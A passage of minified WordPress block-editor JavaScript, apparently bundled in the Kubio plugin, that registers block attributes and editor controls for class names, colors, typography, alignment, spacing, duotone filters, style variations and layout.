spaces.")})})},addSaveProps:function(e,t,n){return(0,c.hasBlockSupport)(t,"customClassName",!0)&&n.className&&(e.className=ms(e.className,n.className)),e},attributeKeys:["className"],hasSupport:e=>(0,c.hasBlockSupport)(e,"customClassName",!0)};function QM(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function JM(e,t){return Object.keys(t).some((n=>e[n]!==t[n]))?t:e}function eR({clientId:e}){const t=bd(e),[n,o]=(0,u.useReducer)(JM,{});return(0,u.useLayoutEffect)((()=>{function e(){o(function(e){if(!e)return{};const t=e.querySelector("a"),n=null!=t&&t.innerText?QM(t,"color"):void 0,o=QM(e,"color");let i=e,r=QM(i,"background-color");for(;"rgba(0, 0, 0, 0)"===r&&i.parentNode&&i.parentNode.nodeType===i.parentNode.ELEMENT_NODE;)i=i.parentNode,r=QM(i,"background-color");return{textColor:o,backgroundColor:r,linkColor:n}}(t))}t&&window.requestAnimationFrame((()=>window.requestAnimationFrame(e)))})),(0,Nt.jsx)(QS,{backgroundColor:n.backgroundColor,textColor:n.textColor,linkColor:n.linkColor,enableAlphaChecker:!0})}(0,h.addFilter)("blocks.registerBlockType","core/editor/custom-class-name/attribute",(function(e){return(0,c.hasBlockSupport)(e,"customClassName",!0)&&(e.attributes={...e.attributes,className:{type:"string"}}),e})),(0,h.addFilter)("blocks.switchToBlockType.transformedBlock","core/color/addTransforms",(function(e,t,n,o){if(!(0,c.hasBlockSupport)(e.name,"customClassName",!0))return e;if(1===o.length&&e.innerBlocks.length===t.length)return e;if(1===o.length&&t.length>1||o.length>1&&1===t.length)return e;if(t[n]){var i;const o=null===(i=t[n])||void 0===i?void 0:i.attributes.className;if(o&&void 0===e.attributes.className)return{...e,attributes:{...e.attributes,className:o}}}return e})),(0,h.addFilter)("blocks.getSaveContent.extraProps","core/generated-class-name/save-props",(function(e,t){return(0,c.hasBlockSupport)(t,"className",!0)&&("string"==typeof e.className?e.className=[...new Set([(0,c.getBlockDefaultClassName)(t.name),...e.className.split(" ")])].join(" ").trim():e.className=(0,c.getBlockDefaultClassName)(t.name)),e}));const tR="color",nR=e=>{const t=(0,c.getBlockSupport)(e,tR);return t&&(!0===t.link||!0===t.gradient||!1!==t.background||!1!==t.text)},oR=e=>{if("web"!==u.Platform.OS)return!1;const t=(0,c.getBlockSupport)(e,tR);return null!==t&&"object"==typeof t&&!!t.link},iR=e=>{const t=(0,c.getBlockSupport)(e,tR);return null!==t&&"object"==typeof t&&!!t.gradients},rR=e=>{const t=(0,c.getBlockSupport)(e,tR);return t&&!1!==t.background},lR=e=>{const t=(0,c.getBlockSupport)(e,tR);return t&&!1!==t.text};function sR(e,t,n){var o,i,r,l,s,a;if(!nR(t)||DM(t,tR))return e;const c=iR(t),{backgroundColor:u,textColor:d,gradient:p,style:h}=n,g=e=>!DM(t,tR,e),f=g("text")?Fs("color",d):void 0,m=g("gradients")?qs(p):void 0,v=g("background")?Fs("background-color",u):void 0,b=g("background")||g("gradients"),k=u||(null==h||null===(o=h.color)||void 0===o?void 0:o.background)||c&&(p||(null==h||null===(i=h.color)||void 0===i?void 0:i.gradient)),_=ms(e.className,f,m,{[v]:!(c&&null!=h&&null!==(r=h.color)&&void 0!==r&&r.gradient||!v),"has-text-color":g("text")&&(d||(null==h||null===(l=h.color)||void 0===l?void 0:l.text)),"has-background":b&&k,"has-link-color":g("link")&&(null==h||null===(s=h.elements)||void 0===s||null===(a=s.link)||void 0===a?void 0:a.color)});return e.className=_||void 0,e}function aR(e){var t,n,o;const i=null==e||null===(t=e.color)||void 0===t?void 0:t.text,r=null!=i&&i.startsWith("var:preset|color|")?i.substring(17):void 0,l=null==e||null===(n=e.color)||void 0===n?void 0:n.background,s=null!=l&&l.startsWith("var:preset|color|")?l.substring(17):void 0,a=null==e||null===(o=e.color)||void 0===o?void 0:o.gradient,c=null!=a&&a.startsWith("var:preset|gradient|")?a.substring(20):void 0,u={...e};return u.color={...u.color,text:r?void 0:i,background:s?void 0:l,gradient:c?void 0:a},{style:AM(u),textColor:r,backgroundColor:s,gradient:c}}function cR(e){var t,n,o,i,r,l,s;return{...e.style,color:{...null===(t=e.style)||void 0===t?void 0:t.color,text:e.textColor?"var:preset|color|"+e.textColor:null===(n=e.style)||void 0===n||null===(o=n.color)||void 0===o?void 0:o.text,background:e.backgroundColor?"var:preset|color|"+e.backgroundColor:null===(i=e.style)||void 0===i||null===(r=i.color)||void 0===r?void 0:r.background,gradient:e.gradient?"var:preset|gradient|"+e.gradient:null===(l=e.style)||void 0===l||null===(s=l.color)||void 0===s?void 0:s.gradient}}}function uR({children:e,resetAllFilter:t}){const n=(0,u.useCallback)((e=>{const n=cR(e),o=t(n);return{...e,...aR(o)}}),[t]);return(0,Nt.jsx)(Tk,{group:"color",resetAllFilter:n,children:e})}function dR({clientId:e,name:t,setAttributes:n,settings:o}){var i,r,l;const s=OT(o),{style:a,textColor:p,backgroundColor:h,gradient:g}=(0,d.useSelect)((function(t){const{style:n,textColor:o,backgroundColor:i,gradient:r}=t(hs).getBlockAttributes(e)||{};return{style:n,textColor:o,backgroundColor:i,gradient:r}}),[e]),f=(0,u.useMemo)((()=>cR({style:a,textColor:p,backgroundColor:h,gradient:g})),[a,p,h,g]);if(!s)return null;const m=(0,c.getBlockSupport)(t,[tR,"__experimentalDefaultControls"]),v="web"===u.Platform.OS&&!(null!=f&&null!==(i=f.color)&&void 0!==i&&i.gradient)&&((null==o||null===(r=o.color)||void 0===r?void 0:r.text)||(null==o||null===(l=o.color)||void 0===l?void 0:l.link))&&!1!==(0,c.getBlockSupport)(t,[tR,"enableContrastChecker"]);return(0,Nt.jsx)(QT,{as:uR,panelId:e,settings:o,value:f,onChange:e=>{n(aR(e))},defaultControls:m,enableContrastChecker:!1!==(0,c.getBlockSupport)(t,[tR,"enableContrastChecker"]),children:v&&(0,Nt.jsx)(eR,{clientId:e})})}const pR={useBlockProps:function({name:e,backgroundColor:t,textColor:n,gradient:o,style:i}){var r,l;const[s,a,c]=Vs("color.palette.custom","color.palette.theme","color.palette.default"),d=(0,u.useMemo)((()=>[...s||[],...a||[],...c||[]]),[s,a,c]);if(!nR(e)||DM(e,tR))return{};const p={};var h,g;n&&!DM(e,tR,"text")&&(p.color=null===(h=Os(d,n))||void 0===h?void 0:h.color),t&&!DM(e,tR,"background")&&(p.backgroundColor=null===(g=Os(d,t))||void 0===g?void 0:g.color);const f=sR({style:p},e,{textColor:n,backgroundColor:t,gradient:o,style:i}),m=t||(null==i||null===(r=i.color)||void 0===r?void 0:r.background)||o||(null==i||null===(l=i.color)||void 0===l?void 0:l.gradient);return{...f,className:ms(f.className,!m&&cE(i))}},addSaveProps:sR,attributeKeys:["backgroundColor","textColor","gradient","style"],hasSupport:nR},hR={linkColor:[["style","elements","link","color","text"]],textColor:[["textColor"],["style","color","text"]],backgroundColor:[["backgroundColor"],["style","color","background"]],gradient:[["gradient"],["style","color","gradient"]]};(0,h.addFilter)("blocks.registerBlockType","core/color/addAttribute",(function(e){return nR(e)?(e.attributes.backgroundColor||Object.assign(e.attributes,{backgroundColor:{type:"string"}}),e.attributes.textColor||Object.assign(e.attributes,{textColor:{type:"string"}}),iR(e)&&!e.attributes.gradient&&Object.assign(e.attributes,{gradient:{type:"string"}}),e):e})),(0,h.addFilter)("blocks.switchToBlockType.transformedBlock","core/color/addTransforms",(function(e,t,n,o){const i=e.name;return LM({linkColor:oR(i),textColor:lR(i),backgroundColor:rR(i),gradient:iR(i)},hR,e,t,n,o)}));const gR="typography.__experimentalFontFamily";function fR(e,t,n){if(!(0,c.hasBlockSupport)(t,gR))return e;if(DM(t,jR,"fontFamily"))return e;if(null==n||!n.fontFamily)return e;const o=new(y_())(e.className);o.add(`has-${We(null==n?void 0:n.fontFamily)}-font-family`);const i=o.value;return e.className=i||void 0,e}const mR={useBlockProps:function({name:e,fontFamily:t}){return fR({},e,{fontFamily:t})},addSaveProps:fR,attributeKeys:["fontFamily"],hasSupport:e=>(0,c.hasBlockSupport)(e,gR)};(0,h.addFilter)("blocks.registerBlockType","core/fontFamily/addAttribute",(function(e){return(0,c.hasBlockSupport)(e,gR)?(e.attributes.fontFamily||Object.assign(e.attributes,{fontFamily:{type:"string"}}),e):e}));const vR="typography.fontSize";function bR(e,t,n){if(!(0,c.hasBlockSupport)(t,vR))return e;if(DM(t,jR,"fontSize"))return e;const o=new(y_())(e.className);o.add(na(n.fontSize));const i=o.value;return e.className=i||void 0,e}const kR={useBlockProps:function({name:e,fontSize:t,style:n}){var o,i;const[r,l,s]=Vs("typography.fontSizes","typography.fluid","layout");if(!(0,c.hasBlockSupport)(e,vR)||DM(e,jR,"fontSize")||!t&&(null==n||null===(o=n.typography)||void 0===o||!o.fontSize))return;let a;var u;return null!=n&&null!==(i=n.typography)&&void 0!==i&&i.fontSize&&(a={style:{fontSize:mj({size:n.typography.fontSize},{typography:{fluid:l},layout:s})}}),t&&(a={style:{fontSize:ea(r,t,null==n||null===(u=n.typography)||void 0===u?void 0:u.fontSize).size}}),a?bR(a,e,{fontSize:t}):void 0},addSaveProps:bR,attributeKeys:["fontSize","style"],hasSupport:e=>(0,c.hasBlockSupport)(e,vR)},_R={fontSize:[["fontSize"],["style","typography","fontSize"]]};(0,h.addFilter)("blocks.registerBlockType","core/font/addAttribute",(function(e){return(0,c.hasBlockSupport)(e,vR)?(e.attributes.fontSize||Object.assign(e.attributes,{fontSize:{type:"string"}}),e):e})),(0,h.addFilter)("blocks.switchToBlockType.transformedBlock","core/font-size/addTransforms",(function(e,t,n,o){const i=e.name;return LM({fontSize:(0,c.hasBlockSupport)(i,vR)},_R,e,t,n,o)}));const yR="typography.textAlign",xR=[{icon:ma,title:(0,Je.__)("Align text left","kubio"),align:"left"},{icon:va,title:(0,Je.__)("Align text center","kubio"),align:"center"},{icon:ba,title:(0,Je.__)("Align text right","kubio"),align:"right"}],SR=["left","center","right"],wR=[];function CR(e){return Array.isArray(e)?SR.filter((t=>e.includes(t))):!0===e?SR:wR}const BR={edit:function({style:e,name:t,setAttributes:n}){var o,i;const r=VM(t),l=null==r||null===(o=r.typography)||void 0===o?void 0:o.textAlign,s=TM();if(!l||"default"!==s)return null;const a=CR((0,c.getBlockSupport)(t,yR));if(!a.length)return null;const u=xR.filter((e=>a.includes(e.align)));return(0,Nt.jsx)(H_,{group:"block",children:(0,Nt.jsx)(xa,{value:null==e||null===(i=e.typography)||void 0===i?void 0:i.textAlign,onChange:t=>{const o={...e,typography:{...null==e?void 0:e.typography,textAlign:t}};n({style:AM(o)})},alignmentControls:u})})},useBlockProps:function({name:e,style:t}){var n;if(null==t||null===(n=t.typography)||void 0===n||!n.textAlign)return null;if(!CR((0,c.getBlockSupport)(e,yR)).length)return null;if(DM(e,jR,"textAlign"))return null;const o=t.typography.textAlign;return{className:ms({[`has-text-align-${o}`]:o})}},addSaveProps:function(e,t,n){var o,i;if(null==n||null===(o=n.style)||void 0===o||null===(i=o.typography)||void 0===i||!i.textAlign)return e;const{textAlign:r}=n.style.typography;return CR((0,c.getBlockSupport)(t,yR)).includes(r)&&!DM(t,jR,"textAlign")&&(e.className=ms(`has-text-align-${r}`,e.className)),e},attributeKeys:["style"],hasSupport:e=>(0,c.hasBlockSupport)(e,yR,!1)};function IR(e,t){return Object.fromEntries(Object.entries(e).filter((([e])=>!t.includes(e))))}const jR="typography";function ER(e){var t,n,o,i,r;const l={...IR(e,["fontFamily"])},s=null==e||null===(t=e.typography)||void 0===t?void 0:t.fontSize,a=null==e||null===(n=e.typography)||void 0===n?void 0:n.fontFamily,c=null!=s&&null!==(o=s.startsWith)&&void 0!==o&&o.call(s,"var:preset|font-size|")?s.substring(21):void 0,u=null!=a&&null!==(i=a.startsWith)&&void 0!==i&&i.call(a,"var:preset|font-family|")?null==a||null===(r=a.substring)||void 0===r?void 0:r.call(a,23):void 0;return l.typography={...IR(l.typography,["fontFamily"]),fontSize:c?void 0:s},{style:AM(l),fontFamily:u,fontSize:c}}function TR(e){var t,n,o;return{...e.style,typography:{...null===(t=e.style)||void 0===t?void 0:t.typography,fontFamily:e.fontFamily?"var:preset|font-family|"+e.fontFamily:void 0,fontSize:e.fontSize?"var:preset|font-size|"+e.fontSize:null===(n=e.style)||void 0===n||null===(o=n.typography)||void 0===o?void 0:o.fontSize}}}function PR({children:e,resetAllFilter:t}){const n=(0,u.useCallback)((e=>{const n=TR(e),o=t(n);return{...e,...ER(o)}}),[t]);return(0,Nt.jsx)(Tk,{group:"typography",resetAllFilter:n,children:e})}function MR({clientId:e,name:t,setAttributes:n,settings:o}){const{style:i,fontFamily:r,fontSize:l}=(0,d.useSelect)((function(t){const{style:n,fontFamily:o,fontSize:i}=t(hs).getBlockAttributes(e)||{};return{style:n,fontFamily:o,fontSize:i}}),[e]),s=AE(o),a=(0,u.useMemo)((()=>TR({style:i,fontFamily:r,fontSize:l})),[i,l,r]);if(!s)return null;const p=(0,c.getBlockSupport)(t,[jR,"__experimentalDefaultControls"]);return(0,Nt.jsx)(qE,{as:PR,panelId:e,settings:o,value:a,onChange:e=>{n(ER(e))},defaultControls:p})}function RR({clientId:e,value:t,computeStyle:n,forceShow:o}){const i=bd(e),[r,l]=(0,u.useReducer)((()=>n(i)));(0,u.useLayoutEffect)((()=>{i&&window.requestAnimationFrame((()=>window.requestAnimationFrame(l)))}),[i,t]);const s=(0,u.useRef)(t),[a,c]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{if(sg()(t,s.current)||o)return;c(!0),s.current=t;const e=setTimeout((()=>{c(!1)}),400);return()=>{c(!1),clearTimeout(e)}}),[t,o]),a||o?(0,Nt.jsx)(sk,{clientId:e,__unstablePopoverSlot:"block-toolbar",children:(0,Nt.jsx)("div",{className:"block-editor__spacing-visualizer",style:r})}):null}function NR(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function AR({clientId:e,value:t,forceShow:n}){var o;return(0,Nt.jsx)(RR,{clientId:e,value:null==t||null===(o=t.spacing)||void 0===o?void 0:o.margin,computeStyle:e=>{const t=NR(e,"margin-top"),n=NR(e,"margin-right"),o=NR(e,"margin-bottom"),i=NR(e,"margin-left");return{borderTopWidth:t,borderRightWidth:n,borderBottomWidth:o,borderLeftWidth:i,top:t?`-${t}`:0,right:n?`-${n}`:0,bottom:o?`-${o}`:0,left:i?`-${i}`:0}},forceShow:n})}function LR({clientId:e,value:t,forceShow:n}){var o;return(0,Nt.jsx)(RR,{clientId:e,value:null==t||null===(o=t.spacing)||void 0===o?void 0:o.padding,computeStyle:e=>({borderTopWidth:NR(e,"padding-top"),borderRightWidth:NR(e,"padding-right"),borderBottomWidth:NR(e,"padding-bottom"),borderLeftWidth:NR(e,"padding-left")}),forceShow:n})}const DR="dimensions",OR="spacing";function zR({children:e,resetAllFilter:t}){const n=(0,u.useCallback)((e=>{const n=e.style,o=t(n);return{...e,style:o}}),[t]);return(0,Nt.jsx)(Tk,{group:"dimensions",resetAllFilter:n,children:e})}function FR({clientId:e,name:t,setAttributes:n,settings:o}){var i,r;const l=rT(o),s=(0,d.useSelect)((t=>{var n;return null===(n=t(hs).getBlockAttributes(e))||void 0===n?void 0:n.style}),[e]),[a,p]=function(){const[e,t]=(0,u.useState)(!1),{hideBlockInterface:n,showBlockInterface:o}=ge((0,d.useDispatch)(hs));return(0,u.useEffect)((()=>{e?n():o()}),[e,o,n]),[e,t]}();if(!l)return null;const h={...(0,c.getBlockSupport)(t,[DR,"__experimentalDefaultControls"]),...(0,c.getBlockSupport)(t,[OR,"__experimentalDefaultControls"])};return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(bT,{as:zR,panelId:e,settings:o,value:s,onChange:e=>{n({style:AM(e)})},defaultControls:h,onVisualize:p}),!(null==o||null===(i=o.spacing)||void 0===i||!i.padding)&&(0,Nt.jsx)(LR,{forceShow:"padding"===a,clientId:e,value:s}),!(null==o||null===(r=o.spacing)||void 0===r||!r.margin)&&(0,Nt.jsx)(AR,{forceShow:"margin"===a,clientId:e,value:s})]})}function VR(e,t="any"){if("web"!==u.Platform.OS)return!1;const n=(0,c.getBlockSupport)(e,DR);return!!(!0===n||("any"===t?null!=n&&n.aspectRatio||null!=n&&n.minHeight:null!=n&&n[t]))}const HR={useBlockProps:function({name:e,minHeight:t,style:n}){var o,i,r;if(!VR(e,"aspectRatio")||DM(e,DR,"aspectRatio"))return{};const l=ms({"has-aspect-ratio":!(null==n||null===(o=n.dimensions)||void 0===o||!o.aspectRatio)}),s={};return null!=n&&null!==(i=n.dimensions)&&void 0!==i&&i.aspectRatio?s.minHeight="unset":(t||null!=n&&null!==(r=n.dimensions)&&void 0!==r&&r.minHeight)&&(s.aspectRatio="unset"),{className:l,style:s}},attributeKeys:["minHeight","style"],hasSupport:e=>VR(e,"aspectRatio")};function GR(){Ye()("wp.blockEditor.__experimentalUseCustomSides",{since:"6.3",version:"6.4"})}const $R=[...["typography.lineHeight",vR,"typography.__experimentalFontStyle","typography.__experimentalFontWeight",gR,yR,"typography.textColumns","typography.__experimentalTextDecoration","typography.__experimentalWritingMode","typography.__experimentalTextTransform","typography.__experimentalLetterSpacing"],_P,tR,DR,rE,OR,yP],UR=e=>$R.some((t=>(0,c.hasBlockSupport)(e,t)));function WR(e={}){const t={};return Tu(e).forEach((e=>{t[e.key]=e.value})),t}const KR={[`${_P}.__experimentalSkipSerialization`]:["border"],[`${tR}.__experimentalSkipSerialization`]:[tR],[`${jR}.__experimentalSkipSerialization`]:[jR],[`${DR}.__experimentalSkipSerialization`]:[DR],[`${OR}.__experimentalSkipSerialization`]:[OR],[`${yP}.__experimentalSkipSerialization`]:[yP]},ZR={...KR,[`${DR}.aspectRatio`]:[`${DR}.aspectRatio`],[`${rE}`]:[rE]},qR={[`${DR}.aspectRatio`]:!0,[`${rE}`]:!0},YR={gradients:"gradient"};function XR(e,t,n=!1){if(!e)return e;let o=e;return n||(o=JSON.parse(JSON.stringify(e))),Array.isArray(t)||(t=[t]),t.forEach((e=>{if(Array.isArray(e)||(e=e.split(".")),e.length>1){const[t,...n]=e;XR(o[t],[n],!0)}else 1===e.length&&delete o[e[0]]})),o}function QR(e,t,n,o=ZR){if(!UR(t))return e;let{style:i}=n;return Object.entries(o).forEach((([e,n])=>{const o=qR[e]||(0,c.getBlockSupport)(t,e);!0===o&&(i=XR(i,n)),Array.isArray(o)&&o.forEach((e=>{const t=YR[e]||e;i=XR(i,[[...n,t]])}))})),e.style={...WR(i),...e.style},e}const JR={edit:function({clientId:e,name:t,setAttributes:n,__unstableParentLayout:o}){const i=VM(t,o),r=TM(),l={clientId:e,name:t,setAttributes:n,settings:{...i,typography:{...i.typography,textAlign:!1}}};return"default"!==r?null:(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(dR,{...l}),(0,Nt.jsx)(dE,{...l}),(0,Nt.jsx)(MR,{...l}),(0,Nt.jsx)(jP,{...l}),(0,Nt.jsx)(FR,{...l})]})},hasSupport:UR,addSaveProps:QR,attributeKeys:["style"],useBlockProps:function({name:e,style:t}){const n=(0,p.useInstanceId)(tN,"wp-elements"),o=`.${n}`,i=null==t?void 0:t.elements,r=(0,u.useMemo)((()=>{if(!i)return;const t=[];return eN.forEach((({elementType:n,pseudo:r,elements:l})=>{if(DM(e,tR,n))return;const s=null==i?void 0:i[n];if(s){const e=Ij(o,c.__EXPERIMENTAL_ELEMENTS[n]);t.push(Eu(s,{selector:e})),r&&r.forEach((e=>{s[e]&&t.push(Eu(s[e],{selector:Ij(o,`${c.__EXPERIMENTAL_ELEMENTS[n]}${e}`)}))}))}l&&l.forEach((e=>{i[e]&&t.push(Eu(i[e],{selector:Ij(o,c.__EXPERIMENTAL_ELEMENTS[e])}))}))})),t.length>0?t.join(""):void 0}),[o,i,e]);return zM({css:r}),QR({className:n},e,{style:t},KR)}},eN=[{elementType:"button"},{elementType:"link",pseudo:[":hover"]},{elementType:"heading",elements:["h1","h2","h3","h4","h5","h6"]}],tN={};var nN;(0,h.addFilter)("blocks.registerBlockType","core/style/addAttribute",(function(e){return UR(e)?(e.attributes.style||Object.assign(e.attributes,{style:{type:"object"}}),e):e})),(0,h.addFilter)("blocks.registerBlockType","core/settings/addAttribute",(function(e){var t,n;return n=e,(0,c.hasBlockSupport)(n,"__experimentalSettings",!1)?(null!=e&&null!==(t=e.attributes)&&void 0!==t&&t.settings||(e.attributes={...e.attributes,settings:{type:"object"}}),e):e}));const oN=[],iN=(null===(nN=window)||void 0===nN?void 0:nN.navigator.userAgent)&&window.navigator.userAgent.includes("Safari")&&!window.navigator.userAgent.includes("Chrome")&&!window.navigator.userAgent.includes("Chromium");function rN({presetSetting:e,defaultSetting:t}){const[n,o,i,r]=Vs(t,`${e}.custom`,`${e}.theme`,`${e}.default`);return(0,u.useMemo)((()=>[...o||oN,...i||oN,...n&&r||oN]),[n,o,i,r])}function lN(e,t){if(!e)return;const n=null==t?void 0:t.find((({slug:t})=>e===`var:preset|duotone|${t}`));return n?n.colors:void 0}X([Q]);const sN={shareWithChildBlocks:!0,edit:function({style:e,setAttributes:t,name:n}){var o;const i=null==e||null===(o=e.color)||void 0===o?void 0:o.duotone,r=VM(n),l=TM(),s=rN({presetSetting:"color.duotone",defaultSetting:"color.defaultDuotone"}),a=rN({presetSetting:"color.palette",defaultSetting:"color.defaultPalette"}),[c,u]=Vs("color.custom","color.customDuotone"),d=!c,p=!u||0===(null==a?void 0:a.length)&&d;if(0===(null==s?void 0:s.length)&&p)return null;if("default"!==l)return null;const h=Array.isArray(i)?i:lN(i,s);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Tk,{group:"filter",children:(0,Nt.jsx)(aP,{value:{filter:{duotone:h}},onChange:n=>{const o={...e,color:{...null==n?void 0:n.filter}};t({style:o})},settings:r})}),(0,Nt.jsx)(H_,{group:"block",__experimentalShareWithChildBlocks:!0,children:(0,Nt.jsx)(iw,{duotonePalette:s,colorPalette:a,disableCustomDuotone:p,disableCustomColors:d,value:h,onChange:n=>{const o=function(e,t){if(!e||!Array.isArray(e))return;const n=null==t?void 0:t.find((t=>{var n;return null==t||null===(n=t.colors)||void 0===n?void 0:n.every(((t,n)=>t===e[n]))}));return n?`var:preset|duotone|${n.slug}`:void 0}(n,s),i={...e,color:{...null==e?void 0:e.color,duotone:null!=o?o:n}};t({style:i})},settings:r})})]})},useBlockProps:function({clientId:e,name:t,style:n}){var o;const i=(0,p.useInstanceId)(aN),r=(0,u.useMemo)((()=>{const e=(0,c.getBlockType)(t);if(e){if(!(0,c.getBlockSupport)(e,"filter.duotone",!1))return null;const t=(0,c.getBlockSupport)(e,"color.__experimentalDuotone",!1);if(t){const n=Oj(e);return"string"==typeof t?Ij(n,t):n}return Oj(e,"filter.duotone",{fallback:!0})}}),[t]),l=null==n||null===(o=n.color)||void 0===o?void 0:o.duotone,s=`wp-duotone-${i}`,a=r&&l;return function({clientId:e,id:t,selector:n,attribute:o}){const i=rN({presetSetting:"color.duotone",defaultSetting:"color.defaultDuotone"}),r=Array.isArray(o),l=r?void 0:lN(o,i),s="string"==typeof o&&l;let a=null;s?a=l:("string"==typeof o&&!s||r)&&(a=o);const c=n.split(",").map((e=>`.${t}${e.trim()}`)).join(", "),d=Array.isArray(a)||"unset"===a;FM(d?{css:"unset"!==a?Fj(c,t):zj(c),__unstableType:"presets"}:void 0),FM(d?{assets:"unset"!==a?Vj(t,a):"",__unstableType:"svgs"}:void 0);const p=bd(e);(0,u.useEffect)((()=>{if(d&&p&&iN){const e=p.style.display;p.style.setProperty("display","inline-block"),p.offsetHeight,p.style.setProperty("display",e)}}),[d,p,a])}({clientId:e,id:s,selector:r,attribute:l}),{className:a?s:""}},attributeKeys:["style"],hasSupport:e=>(0,c.hasBlockSupport)(e,"filter.duotone")};const aN={};(0,h.addFilter)("blocks.registerBlockType","core/editor/duotone/add-attributes",(function(e){return(0,c.hasBlockSupport)(e,"filter.duotone")?(e.attributes.style||Object.assign(e.attributes,{style:{type:"object"}}),e):e}));const cN="is-style-";function uN(e){return e?e.split(/\s+/).reduce(((e,t)=>{if(t.startsWith(cN)){const n=t.slice(9);"default"!==n&&e.push(n)}return e}),[]):[]}const dN={hasSupport:()=>!0,attributeKeys:["className"],isMatch:({className:e})=>uN(e).length>0,useBlockProps:function({name:e,className:t,clientId:n}){const{getBlockStyles:o}=(0,d.useSelect)(c.store),i=function(e,t=[]){const n=uN(e);if(!n)return null;for(const e of n)if(t.some((t=>t.name===e)))return e;return null}(t,o(e)),r=`${cN}${i}-${n}`,{settings:l,styles:s}=function(e,t,n){const{merged:o}=(0,u.useContext)(xS),{globalSettings:i,globalStyles:r}=(0,d.useSelect)((e=>{const t=e(hs).getSettings();return{globalSettings:t.__experimentalFeatures,globalStyles:t[nt]}}),[]);return(0,u.useMemo)((()=>{var l,s,a;const c=function(e,t,n){var o,i,r,l;if(null==e||null===(o=e.styles)||void 0===o||null===(i=o.blocks)||void 0===i||null===(r=i[t])||void 0===r||null===(l=r.variations)||void 0===l||!l[n])return;const s=t=>{Object.keys(t).forEach((n=>{const o=t[n];if("object"==typeof o&&null!==o)if(void 0!==o.ref)if("string"!=typeof o.ref||""===o.ref.trim())delete t[n];else{const i=Gt(e,o.ref);i?t[n]=i:delete t[n]}else s(o),0===Object.keys(o).length&&delete t[n]}))},a=JSON.parse(JSON.stringify(e.styles.blocks[t].variations[n]));return s(a),a}({settings:null!==(l=null==o?void 0:o.settings)&&void 0!==l?l:i,styles:null!==(s=null==o?void 0:o.styles)&&void 0!==s?s:r},e,t);return{settings:null!==(a=null==o?void 0:o.settings)&&void 0!==a?a:i,styles:{blocks:{[e]:{variations:{[`${t}-${n}`]:c}}}}}}),[o,i,r,t,n,e])}(e,i,n),a=(0,u.useMemo)((()=>{if(!i)return;const e={settings:l,styles:s},t=CE((0,c.getBlockTypes)(),o,n);return wE(e,t,!1,!0,!0,!0,{blockGap:!1,blockStyles:!0,layoutStyles:!1,marginReset:!1,presets:!1,rootPadding:!1,variationStyles:!0})}),[i,l,s,o,n]);return FM({id:`variation-${n}`,css:a,__unstableType:"variation",variation:i,clientId:n}),i?{className:r}:{}}},pN="layout";function hN(e){return(0,c.hasBlockSupport)(e,"layout")||(0,c.hasBlockSupport)(e,"__experimentalLayout")}function gN(e={},t=""){var n;const{layout:o}=e,{default:i}=(0,c.getBlockSupport)(t,pN)||{},r=null!=o&&o.inherit||null!=o&&o.contentSize||null!=o&&o.wideSize?{...o,type:"constrained"}:o||i||{},l=[];if(null!==(n=lc[(null==r?void 0:r.type)||"default"])&&void 0!==n&&n.className){var s;const e=null===(s=lc[(null==r?void 0:r.type)||"default"])||void 0===s?void 0:s.className,n=t.split("/"),o=`wp-block-${"core"===n[0]?n.pop():n.join("-")}-${e}`;l.push(e,o)}return(0,d.useSelect)((e=>{var t;return((null==r?void 0:r.inherit)||(null==r?void 0:r.contentSize)||"constrained"===(null==r?void 0:r.type))&&(null===(t=e(hs).getSettings().__experimentalFeatures)||void 0===t?void 0:t.useRootPaddingAwareAlignments)}),[null==r?void 0:r.contentSize,null==r?void 0:r.inherit,null==r?void 0:r.type])&&l.push("has-global-padding"),null!=r&&r.orientation&&l.push(`is-${We(r.orientation)}`),null!=r&&r.justifyContent&&l.push(`is-content-justification-${We(r.justifyContent)}`),null!=r&&r.flexWrap&&"nowrap"===r.flexWrap&&l.push("is-nowrap"),l}const fN={shareWithChildBlocks:!0,edit:function({layout:e,setAttributes:t,name:n,clientId:o}){const i=VM(n),{layout:r}=i,{themeSupportsLayout:l}=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return{themeSupportsLayout:t().supportsLayout}}),[]);if("default"!==TM())return null;const s=(0,c.getBlockSupport)(n,pN,{}),a={...r,...s},{allowSwitching:u,allowEditing:p=!0,allowInheriting:h=!0,default:g}=a;if(!p)return null;const f={...s,...e},{type:m,default:{type:v="default"}={}}=f,b=m||v,k=!(!h||b&&"default"!==b&&"constrained"!==b&&!f.inherit),_=e||g||{},{inherit:y=!1,contentSize:x=null}=_;if(("default"===b||"constrained"===b)&&!l)return null;const S=Vu(b),w=Vu("constrained"),C=!_.type&&(x||y),B=!!y||!!x,I=e=>t({layout:e});return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Tk,{children:(0,Nt.jsxs)(ne.PanelBody,{title:(0,Je.__)("Layout"),children:[k&&(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Inner blocks use content width"),checked:"constrained"===(null==S?void 0:S.name)||B,onChange:()=>t({layout:{type:"constrained"===(null==S?void 0:S.name)||B?"default":"constrained"}}),help:"constrained"===(null==S?void 0:S.name)||B?(0,Je.__)("Nested blocks use content width with options for full and wide widths."):(0,Je.__)("Nested blocks will fill the width of this container. Toggle to constrain.")})}),!y&&u&&(0,Nt.jsx)(mN,{type:b,onChange:e=>t({layout:{type:e}})}),S&&"default"!==S.name&&(0,Nt.jsx)(S.inspectorControls,{layout:_,onChange:I,layoutBlockSupport:a,name:n,clientId:o}),w&&C&&(0,Nt.jsx)(w.inspectorControls,{layout:_,onChange:I,layoutBlockSupport:a,name:n,clientId:o})]})}),!y&&S&&(0,Nt.jsx)(S.toolBarControls,{layout:_,onChange:I,layoutBlockSupport:s,name:n,clientId:o})]})},attributeKeys:["layout"],hasSupport:e=>hN(e)};function mN({type:e,onChange:t}){return(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,isBlock:!0,label:(0,Je.__)("Layout 